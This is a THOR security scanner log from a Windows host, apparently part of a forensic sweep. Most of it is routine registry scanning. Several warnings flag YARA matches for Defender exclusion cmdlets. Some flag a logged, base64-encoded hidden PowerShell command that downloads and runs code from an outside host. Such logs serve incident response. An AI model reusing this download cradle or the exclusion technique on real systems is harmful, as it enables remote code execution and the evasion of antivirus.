"a\x00b\x00l\x00e\x00A\x00u\x00t\x00o\x00E\x00x\x00c\x00l\x00u\x00s\x00i\x00o\x00n\x00s\x00\x00\x00\x00\x00\x00\x002\x002\x006\x00\x00\x00E\x00x\x00c\x00l\x00u\x00s\x00i\x00o\x00n\x00P\x00a\x00t\x00h\x00\x00\x00\x00\x00\x00\x002\x002\x007\x00\x00\x00E\x00x\x00c\x00l\x00u\x00s\x00i\x00o\x00n\x00E\x00x\x00t\x00e\x00n\x00s\x00i\x00o\x00n\x00" at 0x93230 Str3: "ExclusionExtension" in "\x00\x002\x002\x006\x00\x00\x00E\x00x\x00c\x00l\x00u\x00s\x00i\x00o\x00n\x00P\x00a\x00t\x00h\x00\x00\x00\x00\x00\x00\x002\x002\x007\x00\x00\x00E\x00x\x00c\x00l\x00u\x00s\x00i\x00o\x00n\x00E\x00x\x00t\x00e\x00n\x00s\x00i\x00o\x00n\x00\x00\x00\x00\x002\x002\x008\x00\x00\x00E\x00x\x00c\x00l\x00u\x00s\x00i\x00o\x00n\x00P\x00r\x00o\x00c\x00e\x00s\x00s\x00\x00\x00\x00\x00\x00\x00" at 0x93258 Str4: "ExclusionProcess" in "\x00\x00E\x00x\x00c\x00l\x00u\x00s\x00i\x00o\x00n\x00E\x00x\x00t\x00e\x00n\x00s\x00i\x00o\x00n\x00\x00\x00\x00\x002\x002\x008\x00\x00\x00E\x00x\x00c\x00l\x00u\x00s\x00i\x00o\x00n\x00P\x00r\x00o\x00c\x00e\x00s\x00s\x00\x00\x00\x00\x00\x00\x00\x00\x002\x002\x009\x00\x00\x00E\x00x\x00c\x00l\x00u\x00s\x00i\x00o\x00n\x00I\x00p\x00A\x00d\x00d\x00r\x00e\x00s\x00" at 0x93288 RULEDATE_1: 2021-04-29 TAGS_1: SCRIPT, SUSP, T1059_001 RULENAME_1: SUSP_PS1_Cmdlet_Defender_Exclusion_Apr21_1 AUTHOR_1: Florian Roth REASONS_COUNT: 1
Sep 10 12:21:43 WIN-LRTT94FA08M/10.100.5.12 THOR: Warning: MODULE: Filescan MESSAGE: Possibly Dangerous file found SCANID: S-BxzYg1khKSI SCORE: 65 FILE: E:\ProgramData\Microsoft\Windows Defender\Platform\4.18.24070.5-0\ProtectionManagement.dll EXT: .dll TYPE: EXE SIZE: 808344 MD5: cfcb53e1282cc40ec3e667e9ea79cd98 SHA1: ccec66cb03303e4a2cb4ccdf0212de698f0b056e SHA256: 12668010a955b6d6ddb045a929c865f8555b6f6f07281de9f83412e9877e322f FIRSTBYTES: 4d5a90000300000004000000ffff0000b8000000 / MZ CREATED: Wed Aug  7 23:34:40.030 2024 MODIFIED: Wed Aug  7 23:34:32.909 2024 ACCESSED: Tue Sep  3 09:12:08.384 2024 PERMISSIONS: APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:R / APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:R / BUILTIN\Administrators:C / BUILTIN\Users:R / NT AUTHORITY\SYSTEM:F / NT SERVICE\TrustedInstaller:F OWNER: NT AUTHORITY\SYSTEM COMPANY: Microsoft Corporation DESC: Protection Management WMIv2 Provider LEGAL_COPYRIGHT: © Microsoft Corporation. All rights reserved. PRODUCT: Microsoft® Windows® Operating System ORIGINAL_NAME: ProtectionManagement.dll.mui INTERNAL_NAME: ProtectionManagement IMPHASH: 12ecfd005b591254748953a418743600 REASON_1: YARA rule SUSP_PS1_Cmdlet_Defender_Exclusion_Apr21_1 / Detects PowerShell Cmdlet parameters to define Windows Defender exclusions SUBSCORE_1: 65 REF_1: https://docs.microsoft.com/en-us/powershell/module/defender/?view=windowsserver2019-ps SIGTYPE_1: internal SIGCLASS_1: YARA Rule MATCHED_1: Str1: "Add-MpPreference" in "e\x00\x00\x00\x00\x00\x00\x00\x00\x00G\x00e\x00t\x00-\x00M\x00p\x00P\x00r\x00e\x00f\x00e\x00r\x00e\x00n\x00c\x00e\x00\x00\x00\x00\x00\x00\x00\x00\x00A\x00d\x00d\x00-\x00M\x00p\x00P\x00r\x00e\x00f\x00e\x00r\x00e\x00n\x00c\x00e\x00\x00\x00\x00\x00\x00\x00\x00\x00R\x00e\x00m\x00o\x00v\x00e\x00-\x00M\x00p\x00P\x00r\x00e\x00f\x00e\x00r\x00e\x00n\x00c\x00e\x00\x00\x00U\x00" at 0x962d0 Str2: "ExclusionPath" in "a\x00b\x00l\x00e\x00A\x00u\x00t\x00o\x00E\x00x\x00c\x00l\x00u\x00s\x00i\x00o\x00n\x00s\x00\x00\x00\x00\x00\x00\x002\x002\x006\x00\x00\x00E\x00x\x00c\x00l\x00u\x00s\x00i\x00o\x00n\x00P\x00a\x00t\x00h\x00\x00\x00\x00\x00\x00\x002\x002\x007\x00\x00\x00E\x00x\x00c\x00l\x00u\x00s\x00i\x00o\x00n\x00E\x00x\x00t\x00e\x00n\x00s\x00i\x00o\x00n\x00" at 0x93230 Str3: "ExclusionExtension" in "\x00\x002\x002\x006\x00\x00\x00E\x00x\x00c\x00l\x00u\x00s\x00i\x00o\x00n\x00P\x00a\x00t\x00h\x00\x00\x00\x00\x00\x00\x002\x002\x007\x00\x00\x00E\x00x\x00c\x00l\x00u\x00s\x00i\x00o\x00n\x00E\x00x\x00t\x00e\x00n\x00s\x00i\x00o\x00n\x00\x00\x00\x00\x002\x002\x008\x00\x00\x00E\x00x\x00c\x00l\x00u\x00s\x00i\x00o\x00n\x00P\x00r\x00o\x00c\x00e\x00s\x00s\x00\x00\x00\x00\x00\x00\x00" at 0x93258 Str4: "ExclusionProcess" in "\x00\x00E\x00x\x00c\x00l\x00u\x00s\x00i\x00o\x00n\x00E\x00x\x00t\x00e\x00n\x00s\x00i\x00o\x00n\x00\x00\x00\x00\x002\x002\x008\x00\x00\x00E\x00x\x00c\x00l\x00u\x00s\x00i\x00o\x00n\x00P\x00r\x00o\x00c\x00e\x00s\x00s\x00\x00\x00\x00\x00\x00\x00\x00\x002\x002\x009\x00\x00\x00E\x00x\x00c\x00l\x00u\x00s\x00i\x00o\x00n\x00I\x00p\x00A\x00d\x00d\x00r\x00e\x00s\x00" at 0x93288 RULEDATE_1: 2021-04-29 TAGS_1: SCRIPT, SUSP, T1059_001 RULENAME_1: SUSP_PS1_Cmdlet_Defender_Exclusion_Apr21_1 AUTHOR_1: Florian Roth REASONS_COUNT: 1
Sep 10 12:21:55 WIN-LRTT94FA08M/10.100.5.12 THOR: Warning: MODULE: LogScan MESSAGE: Suspicious Log Entry found SCANID: S-BxzYg1khKSI ENTRY: 2024-09-03T12:04:32.557 Engine:command line reported as lowfi: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe(powershell.exe powershell /w 1 /nop -encodedcommand aQBlAHgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBrAHkAcABlAC0AbQBlAGUAdAAuAGMAbwBtAC8AZgBhAHYAaQBjAG8AbgAuAGkAYwBvACIAKQA=) SCORE: 88 FILE: E:\ProgramData\Microsoft\Windows Defender\Support\MPLog-20240603-192540.log LOG_MODIFIED: Tue Sep  3 09:12:54 2024 LOG_ACCESSED: Tue Sep  3 09:12:54 2024 LOG_CREATED: Tue Jun  4 02:25:40 2024 REASON_1: YARA rule SUSP_PS1_Base64_Encoded_Pattern_Feb22_1 / Detects suspicious encoded PowerShell code pattern often found in malicious samples SUBSCORE_1: 75 REF_1: Internal Research SIGTYPE_1: internal SIGCLASS_1: YARA Rule MATCHED_1: Str1: "aQBlAHgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcA" RULEDATE_1: 2022-02-28 TAGS_1: SCRIPT, SUSP, T1059_001, T1132_001 RULENAME_1: SUSP_PS1_Base64_Encoded_Pattern_Feb22_1 AUTHOR_1: Florian Roth REASON_2: YARA rule SUSP_PS1_IEX_Download_Base64_Indicator_Jul21_1 / Detects suspicious IEX download action in base64 encoded form SUBSCORE_2: 70 REF_2: https://sec-lab.aliyun.com/2019/04/25/%E9%98%BF%E9%87%8C%E4%BA%91%E4%BA%91%E5%AE%89%E5%85%A8%E4%B8%AD%E5%BF%83%E6%8D%95%E8%8E%B7Win32k%E7%BB%84%E4%BB%B60day/ SIGTYPE_2: internal SIGCLASS_2: YARA Rule MATCHED_2: Str1: "aQBlAHgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQA" RULEDATE_2: 2021-07-19 TAGS_2: SCRIPT, SUSP, T1059_001, T1132_001 RULENAME_2: SUSP_PS1_IEX_Download_Base64_Indicator_Jul21_1 AUTHOR_2: Florian Roth REASONS_COUNT: 4 FILE_1: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe EXISTS_1: yes TYPE_1: EXE SIZE_1: 431104 MD5_1: 83767e18db29b51a804a9e312d0ed99c SHA1_1: e6bcade7272afdf52d963d0626a1dd4d26b39a7e SHA256_1: 1ee3d7c80d075d64f97d04d036e558043f2f6bc959c87cd5b0a6d53b96b96a0f FIRSTBYTES_1: 4d5a90000300000004000000ffff0000b8000000 / MZ CREATED_1: Sat Sep 15 07:14:15.943 2018 OWNER_1: NT SERVICE\TrustedInstaller COMPANY_1: Microsoft Corporation DESC_1: Windows PowerShell LEGAL_COPYRIGHT_1: © Microsoft Corporation. All rights reserved. PRODUCT_1: Microsoft® Windows® Operating System ORIGINAL_NAME_1: PowerShell.EXE.MUI INTERNAL_NAME_1: POWERSHELL IMPHASH_1: d1a922c94a1f407cb2bbcad033c8ed7a FILE_2: E:\ProgramData\Microsoft\Windows Defender\Support\MPLog-20240603-192540.log EXISTS_2: yes TYPE_2: UTF16-Encoded File LE SIZE_2: 25734294 MD5_2: 692de68c3b74b8f92d53bde55a73635f SHA1_2: 337632f4e3f32abbc5be63ac7fd74c16a369dd03 SHA256_2: b8ccf1e2aa994b568472cfbee363f9f908b0fccd7149164658ddcad9c0ddd0b2 FIRSTBYTES_2: fffe0d000a002d002d002d002d002d002d002d00 /  ------- CREATED_2: Tue Jun  4 02:25:40.385 2024 OWNER_2: NT AUTHORITY\SYSTEM
Sep 10 12:21:55 WIN-LRTT94FA08M/10.100.5.12 THOR: Warning: MODULE: LogScan MESSAGE: Suspicious Log Entry found SCANID: S-BxzYg1khKSI ENTRY: 2024-09-03T12:04:35.558 Engine:command line reported as lowfi: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe(C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe /w 1 /nop -encodedcommand aQBlAHgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBrAHkAcABlAC0AbQBlAGUAdAAuAGMAbwBtAC8AZgBhAHYAaQBjAG8AbgAuAGkAYwBvACIAKQA=) SCORE: 88 FILE: E:\ProgramData\Microsoft\Windows Defender\Support\MPLog-20240603-192540.log LOG_MODIFIED: Tue Sep  3 09:12:54 2024 LOG_ACCESSED: Tue Sep  3 09:12:54 2024 LOG_CREATED: Tue Jun  4 02:25:40 2024 REASON_1: YARA rule SUSP_PS1_Base64_Encoded_Pattern_Feb22_1 / Detects suspicious encoded PowerShell code pattern often found in malicious samples SUBSCORE_1: 75 REF_1: Internal Research SIGTYPE_1: internal SIGCLASS_1: YARA Rule MATCHED_1: Str1: "aQBlAHgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcA" RULEDATE_1: 2022-02-28 TAGS_1: SCRIPT, SUSP, T1059_001, T1132_001 RULENAME_1: SUSP_PS1_Base64_Encoded_Pattern_Feb22_1 AUTHOR_1: Florian Roth REASON_2: YARA rule SUSP_PS1_IEX_Download_Base64_Indicator_Jul21_1 / Detects suspicious IEX download action in base64 encoded form SUBSCORE_2: 70 REF_2: https://sec-lab.aliyun.com/2019/04/25/%E9%98%BF%E9%87%8C%E4%BA%91%E4%BA%91%E5%AE%89%E5%85%A8%E4%B8%AD%E5%BF%83%E6%8D%95%E8%8E%B7Win32k%E7%BB%84%E4%BB%B60day/ SIGTYPE_2: internal SIGCLASS_2: YARA Rule MATCHED_2: Str1: "aQBlAHgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQA" RULEDATE_2: 2021-07-19 TAGS_2: SCRIPT, SUSP, T1059_001, T1132_001 RULENAME_2: SUSP_PS1_IEX_Download_Base64_Indicator_Jul21_1 AUTHOR_2: Florian Roth REASONS_COUNT: 4 FILE_1: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe EXISTS_1: yes TYPE_1: EXE SIZE_1: 431104 MD5_1: 83767e18db29b51a804a9e312d0ed99c SHA1_1: e6bcade7272afdf52d963d0626a1dd4d26b39a7e SHA256_1: 1ee3d7c80d075d64f97d04d036e558043f2f6bc959c87cd5b0a6d53b96b96a0f FIRSTBYTES_1: 4d5a90000300000004000000ffff0000b8000000 / MZ CREATED_1: Sat Sep 15 07:14:15.943 2018 OWNER_1: NT SERVICE\TrustedInstaller COMPANY_1: Microsoft Corporation DESC_1: Windows PowerShell LEGAL_COPYRIGHT_1: © Microsoft Corporation. All rights reserved. PRODUCT_1: Microsoft® Windows® Operating System ORIGINAL_NAME_1: PowerShell.EXE.MUI INTERNAL_NAME_1: POWERSHELL IMPHASH_1: d1a922c94a1f407cb2bbcad033c8ed7a FILE_2: E:\ProgramData\Microsoft\Windows Defender\Support\MPLog-20240603-192540.log EXISTS_2: yes TYPE_2: UTF16-Encoded File LE SIZE_2: 25734294 MD5_2: 692de68c3b74b8f92d53bde55a73635f SHA1_2: 337632f4e3f32abbc5be63ac7fd74c16a369dd03 SHA256_2: b8ccf1e2aa994b568472cfbee363f9f908b0fccd7149164658ddcad9c0ddd0b2 FIRSTBYTES_2: fffe0d000a002d002d002d002d002d002d002d00 /  ------- CREATED_2: Tue Jun  4 02:25:40.385 2024 OWNER_2: NT AUTHORITY\SYSTEM
Sep 10 12:22:20 WIN-LRTT94FA08M/10.100.5.12 THOR: Warning: MODULE: Filescan MESSAGE: Malware file found SCANID: S-BxzYg1khKSI SCORE: 86 FILE: E:\ProgramData\Microsoft\Windows Defender\Support\MPLog-20240603-192540.log EXT: .log TYPE: UTF16-Encoded File LE SIZE: 25734294 MD5: 692de68c3b74b8f92d53bde55a73635f SHA1: 337632f4e3f32abbc5be63ac7fd74c16a369dd03 SHA256: b8ccf1e2aa994b568472cfbee363f9f908b0fccd7149164658ddcad9c0ddd0b2 FIRSTBYTES: fffe0d000a002d002d002d002d002d002d002d00 /  ------- CREATED: Tue Jun  4 02:25:40.385 2024 MODIFIED: Tue Sep  3 09:12:54.549 2024 ACCESSED: Tue Sep  3 09:12:54.549 2024 PERMISSIONS: BUILTIN\Administrators:F / NT AUTHORITY\SYSTEM:F / NT SERVICE\TrustedInstaller:F OWNER: NT AUTHORITY\SYSTEM REASON_1: YARA rule SUSP_PS1_IEX_Download_Base64_Indicator_Jul21_1 / Detects suspicious IEX download action in base64 encoded form SUBSCORE_1: 70 REF_1: https://sec-lab.aliyun.com/2019/04/25/%E9%98%BF%E9%87%8C%E4%BA%91%E4%BA%91%E5%AE%89%E5%85%A8%E4%B8%AD%E5%BF%83%E6%8D%95%E8%8E%B7Win32k%E7%BB%84%E4%BB%B60day/ SIGTYPE_1: internal SIGCLASS_1: YARA Rule MATCHED_1: Str1: "aQBlAHgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQA" in "w 1 /nop -encodedcommand aQBlAHgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAd" at 0x1879164 RULEDATE_1: 2021-07-19 TAGS_1: SCRIPT, SUSP, T1059_001, T1132_001 RULENAME_1: SUSP_PS1_IEX_Download_Base64_Indicator_Jul21_1 AUTHOR_1: Florian Roth REASON_2: YARA rule SUSP_Encoded_PS_DownloadString / Detects encoded keyword - .DownloadString( SUBSCORE_2: 70 REF_2: Internal Research - Permutator SIGTYPE_2: internal SIGCLASS_2: YARA Rule MATCHED_2: Str1: "LgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAK" in "AZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8Acw" at 0x1879204 RULEDATE_2: 2019-02-28 TAGS_2: FILE, SCRIPT, SUSP, T1027, T1059_001 RULENAME_2: SUSP_Encoded_PS_DownloadString AUTHOR_2: Florian Roth REASONS_COUNT: 5
Sep 10 12:22:21 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\S-1-5-21-2213792943-3978625667-3641601853-1118\SystemAppData\Helium\Cache\a5073c91576c6a27.dat
Sep 10 12:22:21 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\S-1-5-21-2213792943-3978625667-3641601853-1118\SystemAppData\Helium\Cache\a5073c91576c6a27_COM15.dat
Sep 10 12:22:21 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\S-1-5-21-2213792943-3978625667-3641601853-1118\SystemAppData\Helium\Cache\a5073c91576c6a27_COM15.dat.LOG1
Sep 10 12:22:21 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\S-1-5-21-2213792943-3978625667-3641601853-1124\SystemAppData\Helium\Cache\a5073c91576c6a27.dat
Sep 10 12:22:21 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\S-1-5-21-2213792943-3978625667-3641601853-1124\SystemAppData\Helium\Cache\a5073c91576c6a27_COM15.dat
Sep 10 12:22:21 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\S-1-5-21-2213792943-3978625667-3641601853-1124\SystemAppData\Helium\Cache\a5073c91576c6a27_COM15.dat.LOG1
Sep 10 12:22:21 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\S-1-5-21-395486425-972718290-1458454356-1001\SystemAppData\Helium\Cache\85acbbb64e0c661b.dat
Sep 10 12:22:21 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\S-1-5-21-395486425-972718290-1458454356-1001\SystemAppData\Helium\Cache\85acbbb64e0c661b_COM15.dat
Sep 10 12:22:21 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\S-1-5-21-395486425-972718290-1458454356-1001\SystemAppData\Helium\Cache\85acbbb64e0c661b_COM15.dat.LOG1
Sep 10 12:22:21 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\S-1-5-21-2213792943-3978625667-3641601853-1124\SystemAppData\Helium\Cache\9823d027d85e4ff7.dat
Sep 10 12:22:22 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\S-1-5-21-2213792943-3978625667-3641601853-1124\SystemAppData\Helium\Cache\9823d027d85e4ff7_COM15.dat
Sep 10 12:22:22 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\S-1-5-21-2213792943-3978625667-3641601853-1124\SystemAppData\Helium\Cache\9823d027d85e4ff7_COM15.dat.LOG1
Sep 10 12:22:22 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\S-1-5-21-395486425-972718290-1458454356-1001\SystemAppData\Helium\Cache\3ad5477c157a1447.dat
Sep 10 12:22:22 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\S-1-5-21-395486425-972718290-1458454356-1001\SystemAppData\Helium\Cache\3ad5477c157a1447_COM15.dat
Sep 10 12:22:22 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\S-1-5-21-395486425-972718290-1458454356-1001\SystemAppData\Helium\Cache\3ad5477c157a1447_COM15.dat.LOG1
Sep 10 12:22:22 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Packages\Microsoft.WindowsTerminal_8wekyb3d8bbwe\S-1-5-21-2213792943-3978625667-3641601853-1124\SystemAppData\Helium\Cache\d7c0ce2ce9db70cc.dat
Sep 10 12:22:22 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Packages\Microsoft.WindowsTerminal_8wekyb3d8bbwe\S-1-5-21-2213792943-3978625667-3641601853-1124\SystemAppData\Helium\Cache\d7c0ce2ce9db70cc_COM15.dat
Sep 10 12:22:22 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Packages\Microsoft.WindowsTerminal_8wekyb3d8bbwe\S-1-5-21-2213792943-3978625667-3641601853-1124\SystemAppData\Helium\Cache\d7c0ce2ce9db70cc_COM15.dat.LOG1
Sep 10 12:22:22 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Packages\Microsoft.WindowsTerminal_8wekyb3d8bbwe\S-1-5-21-395486425-972718290-1458454356-1001\SystemAppData\Helium\Cache\d7c0ce2ce9db70cc.dat
Sep 10 12:22:22 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Packages\Microsoft.WindowsTerminal_8wekyb3d8bbwe\S-1-5-21-395486425-972718290-1458454356-1001\SystemAppData\Helium\Cache\d7c0ce2ce9db70cc_COM15.dat
Sep 10 12:22:22 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Packages\Microsoft.WindowsTerminal_8wekyb3d8bbwe\S-1-5-21-395486425-972718290-1458454356-1001\SystemAppData\Helium\Cache\d7c0ce2ce9db70cc_COM15.dat.LOG1
Sep 10 12:22:22 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Packages\Microsoft.XboxGamingOverlay_8wekyb3d8bbwe\S-1-5-21-2213792943-3978625667-3641601853-1118\SystemAppData\Helium\Cache\f9fba5ca142a3373.dat
Sep 10 12:22:22 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Packages\Microsoft.XboxGamingOverlay_8wekyb3d8bbwe\S-1-5-21-2213792943-3978625667-3641601853-1118\SystemAppData\Helium\Cache\f9fba5ca142a3373_COM15.dat
Sep 10 12:22:22 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Packages\Microsoft.XboxGamingOverlay_8wekyb3d8bbwe\S-1-5-21-2213792943-3978625667-3641601853-1118\SystemAppData\Helium\Cache\f9fba5ca142a3373_COM15.dat.LOG1
Sep 10 12:22:22 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Packages\Microsoft.XboxGamingOverlay_8wekyb3d8bbwe\S-1-5-21-2213792943-3978625667-3641601853-1124\SystemAppData\Helium\Cache\f9fba5ca142a3373.dat
Sep 10 12:22:22 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Packages\Microsoft.XboxGamingOverlay_8wekyb3d8bbwe\S-1-5-21-2213792943-3978625667-3641601853-1124\SystemAppData\Helium\Cache\f9fba5ca142a3373_COM15.dat
Sep 10 12:22:22 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Packages\Microsoft.XboxGamingOverlay_8wekyb3d8bbwe\S-1-5-21-2213792943-3978625667-3641601853-1124\SystemAppData\Helium\Cache\f9fba5ca142a3373_COM15.dat.LOG1
Sep 10 12:22:22 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Packages\Microsoft.XboxGamingOverlay_8wekyb3d8bbwe\S-1-5-21-395486425-972718290-1458454356-1001\SystemAppData\Helium\Cache\f9fba5ca142a3373.dat
Sep 10 12:22:22 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Packages\Microsoft.XboxGamingOverlay_8wekyb3d8bbwe\S-1-5-21-395486425-972718290-1458454356-1001\SystemAppData\Helium\Cache\f9fba5ca142a3373_COM15.dat
Sep 10 12:22:22 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Packages\Microsoft.XboxGamingOverlay_8wekyb3d8bbwe\S-1-5-21-395486425-972718290-1458454356-1001\SystemAppData\Helium\Cache\f9fba5ca142a3373_COM15.dat.LOG1
Sep 10 12:22:22 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Packages\Microsoft.YourPhone_8wekyb3d8bbwe\S-1-5-21-2213792943-3978625667-3641601853-1118\SystemAppData\Helium\Cache\5b2e07ff28cad60e.dat
Sep 10 12:22:22 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Packages\Microsoft.YourPhone_8wekyb3d8bbwe\S-1-5-21-2213792943-3978625667-3641601853-1118\SystemAppData\Helium\Cache\5b2e07ff28cad60e_COM15.dat
